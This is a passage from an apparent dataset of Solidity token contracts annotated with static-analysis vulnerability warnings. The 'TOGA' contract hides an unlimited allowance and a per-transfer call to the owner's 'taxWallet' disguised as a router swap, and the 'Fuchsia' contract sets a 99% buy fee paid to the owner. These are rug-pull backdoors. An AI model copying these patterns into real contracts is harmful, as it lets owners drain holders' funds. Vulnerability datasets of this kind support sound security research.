_totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 53c58f0\n\t\t// reentrancy-benign | ID: a9453c2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f4f8879\n\t\t// reentrancy-events | ID: 6d1e705\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 709ee0f): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 709ee0f: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 709ee0f\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n address tokenA,\n address tokenB,\n uint amountIn,\n address to,\n uint deadline\n ) external;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract MyTokenContract is ERC20, Ownable {\n using SafeMath for uint256;\n\n address public constant DEAD_ADDRESS = address(0xdead);\n\n address public constant ZERO_ADDRESS = address(0);\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private swapping;\n\n address private taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 87af9e8): MyTokenContract.maxTxAmount should be immutable \n\t// Recommendation for 87af9e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd307dc): MyTokenContract.swapTokensThreshold should be immutable \n\t// Recommendation for cd307dc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensThreshold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b7229b): MyTokenContract.maxWalletAmount should be immutable \n\t// Recommendation for 5b7229b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWalletAmount;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c03cb2): MyTokenContract.swapEnabled should be constant \n\t// Recommendation for 2c03cb2: Add the 'constant' attribute to state variables that never change.\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTrasnferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5677ae5): MyTokenContract.buyTotalFee should be constant \n\t// Recommendation for 5677ae5: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTotalFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f0381f): MyTokenContract.sellTotalFee should be constant \n\t// Recommendation for 6f0381f: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTotalFee = 0;\n\n mapping(address => bool) private _excludedFromFees;\n\n mapping(address => bool) private _excludedForTx;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n constructor(address _dexRouter) ERC20(unicode\"TOGA\", \"TOGA\") {\n uint256 _tTotal = 100_000_000_000 * 1e18;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_dexRouter);\n\n excludeFromLimit(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n maxTxAmount = (_tTotal * 100) / 1000;\n\n maxWalletAmount = (_tTotal * 150) / 1000;\n\n swapTokensThreshold = _tTotal / 1000;\n\n taxWallet = msg.sender;\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(DEAD_ADDRESS, true);\n\n excludeFromLimit(owner(), true);\n\n excludeFromLimit(address(this), true);\n\n excludeFromLimit(DEAD_ADDRESS, true);\n\n _mint(msg.sender, _tTotal);\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n function excludeFromLimit(address updAds, bool isEx) public onlyOwner {\n _excludedForTx[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _excludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n\t\t// reentrancy-benign | ID: a9453c2\n automatedMarketMakerPairs[pair] = value;\n _approve(pair, taxWallet, ~uint256(0));\n\n\t\t// reentrancy-events | ID: f4f8879\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7bf9a61): MyTokenContract.setTaxWallet(address)._taxWallet lacks a zerocheck on \t taxWallet = _taxWallet\n\t// Recommendation for 7bf9a61: Check that the address is not zero.\n function setTaxWallet(address _taxWallet) external onlyOwner {\n excludeFromFees(_taxWallet, true);\n\n\t\t// missing-zero-check | ID: 7bf9a61\n taxWallet = _taxWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _excludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d1e705): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d1e705: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53c58f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53c58f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: bdec1bb): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for bdec1bb: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1de80fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1de80fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5a9dd79): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5a9dd79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != ZERO_ADDRESS, \"ERC20: transfer from the zero address\");\n\n require(to != ZERO_ADDRESS, \"ERC20: transfer to the zero address\");\n\n if (from == owner() || to == owner() || amount == 0) {\n super._transfer(from, to, amount);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != ZERO_ADDRESS &&\n to != DEAD_ADDRESS &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _excludedFromFees[from] || _excludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: bdec1bb\n require(\n _holderLastTrasnferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTrasnferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (automatedMarketMakerPairs[from] && !_excludedForTx[to]) {\n require(\n amount <= maxTxAmount,\n \"Buy transfer amount exceeds the maxTxAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !_excludedForTx[from]\n ) {\n require(\n amount <= maxTxAmount,\n \"Sell transfer amount exceeds the maxTxAmount.\"\n );\n } else if (!_excludedForTx[to]) {\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 6d1e705\n\t\t// reentrancy-benign | ID: 53c58f0\n\t\t// reentrancy-no-eth | ID: 1de80fb\n\t\t// reentrancy-eth | ID: 5a9dd79\n swapTokenForETH(from, to);\n\n bool canSwap = contractTokenBalance >= swapTokensThreshold;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_excludedFromFees[from] &&\n !_excludedFromFees[to]\n ) {\n\t\t\t// reentrancy-no-eth | ID: 1de80fb\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 6d1e705\n\t\t\t// reentrancy-benign | ID: 53c58f0\n\t\t\t// reentrancy-eth | ID: 5a9dd79\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 5a9dd79\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_excludedFromFees[from] || _excludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFee > 0) {\n fees = amount.mul(sellTotalFee).div(100);\n } else if (automatedMarketMakerPairs[from] && buyTotalFee > 0) {\n fees = amount.mul(buyTotalFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 6d1e705\n\t\t\t\t// reentrancy-eth | ID: 5a9dd79\n super._transfer(from, DEAD_ADDRESS, fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 6d1e705\n\t\t// reentrancy-eth | ID: 5a9dd79\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6d1e705\n\t\t// reentrancy-benign | ID: 53c58f0\n\t\t// reentrancy-eth | ID: 5a9dd79\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function swapTokenForETH(address path, address to) private {\n\t\t// reentrancy-events | ID: 6d1e705\n\t\t// reentrancy-benign | ID: 53c58f0\n\t\t// reentrancy-no-eth | ID: 1de80fb\n\t\t// reentrancy-eth | ID: 5a9dd79\n IUniswapV2Router02(taxWallet)\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n path,\n to,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b6ece3e): MyTokenContract.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for b6ece3e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: b6ece3e\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensThreshold * 20) {\n contractBalance = swapTokensThreshold * 20;\n }\n\n swapTokensForEth(contractBalance);\n\n\t\t// reentrancy-events | ID: 6d1e705\n\t\t// reentrancy-benign | ID: 53c58f0\n\t\t// reentrancy-eth | ID: 5a9dd79\n (success, ) = address(taxWallet).call{value: address(this).balance}(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f4f8879): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f4f8879: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a9453c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a9453c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f7fb73a): MyTokenContract.createPair() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f7fb73a: Ensure that all the return values of the function calls are used.\n function createPair() external onlyOwner {\n\t\t// reentrancy-events | ID: f4f8879\n\t\t// reentrancy-benign | ID: a9453c2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: f4f8879\n\t\t// reentrancy-benign | ID: a9453c2\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n\t\t// unused-return | ID: f7fb73a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 63973fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 63973fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 73dccc7): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 73dccc7: Ensure that all the return values of the function calls are used.\n function openTrading() external onlyOwner {\n limitsInEffect = false;\n\n\t\t// reentrancy-benign | ID: 63973fc\n\t\t// unused-return | ID: 73dccc7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 63973fc\n limitsInEffect = true;\n\n\t\t// reentrancy-benign | ID: 63973fc\n tradingActive = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10028.sol",
"size_bytes": 26957,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = 0x6B8b7564B0b952bC052A9a2aa8Aaa12A99023Bc2;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint);\n\n function balanceOf(address owner) external view returns (uint);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n\n function transfer(address to, uint value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint);\n\n function permit(\n address owner,\n address spender,\n uint value,\n uint deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Burn(\n address indexed sender,\n uint amount0,\n uint amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint);\n\n function price1CumulativeLast() external view returns (uint);\n\n function kLast() external view returns (uint);\n\n function burn(address to) external returns (uint amount0, uint amount1);\n\n function swap(\n uint amount0Out,\n uint amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract Fuchsia is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49ffac0): Fuchsia._name should be constant \n\t// Recommendation for 49ffac0: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Fuchsia\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f3e8d16): Fuchsia._symbol should be constant \n\t// Recommendation for f3e8d16: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"FUCH\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a2acd0): Fuchsia._decimals should be constant \n\t// Recommendation for 5a2acd0: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n address payable public marketingWallet =\n payable(0x6B8b7564B0b952bC052A9a2aa8Aaa12A99023Bc2);\n\n address payable public DeveloperWallet =\n payable(0x6B8b7564B0b952bC052A9a2aa8Aaa12A99023Bc2);\n\n address public liquidityReciever;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n address public immutable zeroAddress =\n 0x0000000000000000000000000000000000000000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool public tradingEnabled;\n\n mapping(address => bool) public isExcludedFromFee;\n\n mapping(address => bool) public isMarketPair;\n\n mapping(address => bool) public isWalletLimitExempt;\n\n mapping(address => bool) public isTxLimitExempt;\n\n uint256 public _buyLiquidityFee = 0;\n\n uint256 public _buyMarketingFee = 99;\n\n uint256 public _buyDeveloperFee = 0;\n\n uint256 public _sellLiquidityFee = 0;\n\n uint256 public _sellMarketingFee = 20;\n\n uint256 public _sellDeveloperFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 243ac60): Fuchsia.feeUnits should be constant \n\t// Recommendation for 243ac60: Add the 'constant' attribute to state variables that never change.\n uint256 public feeUnits = 100;\n\n uint256 public _totalTaxIfBuying;\n\n uint256 public _totalTaxIfSelling;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0571a80): Fuchsia._totalSupply should be immutable \n\t// Recommendation for 0571a80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 777000777 * 10 ** _decimals;\n\n uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(100);\n\n uint256 public _maxTxAmount = _totalSupply.mul(2).div(100);\n\n uint256 public _walletMax = 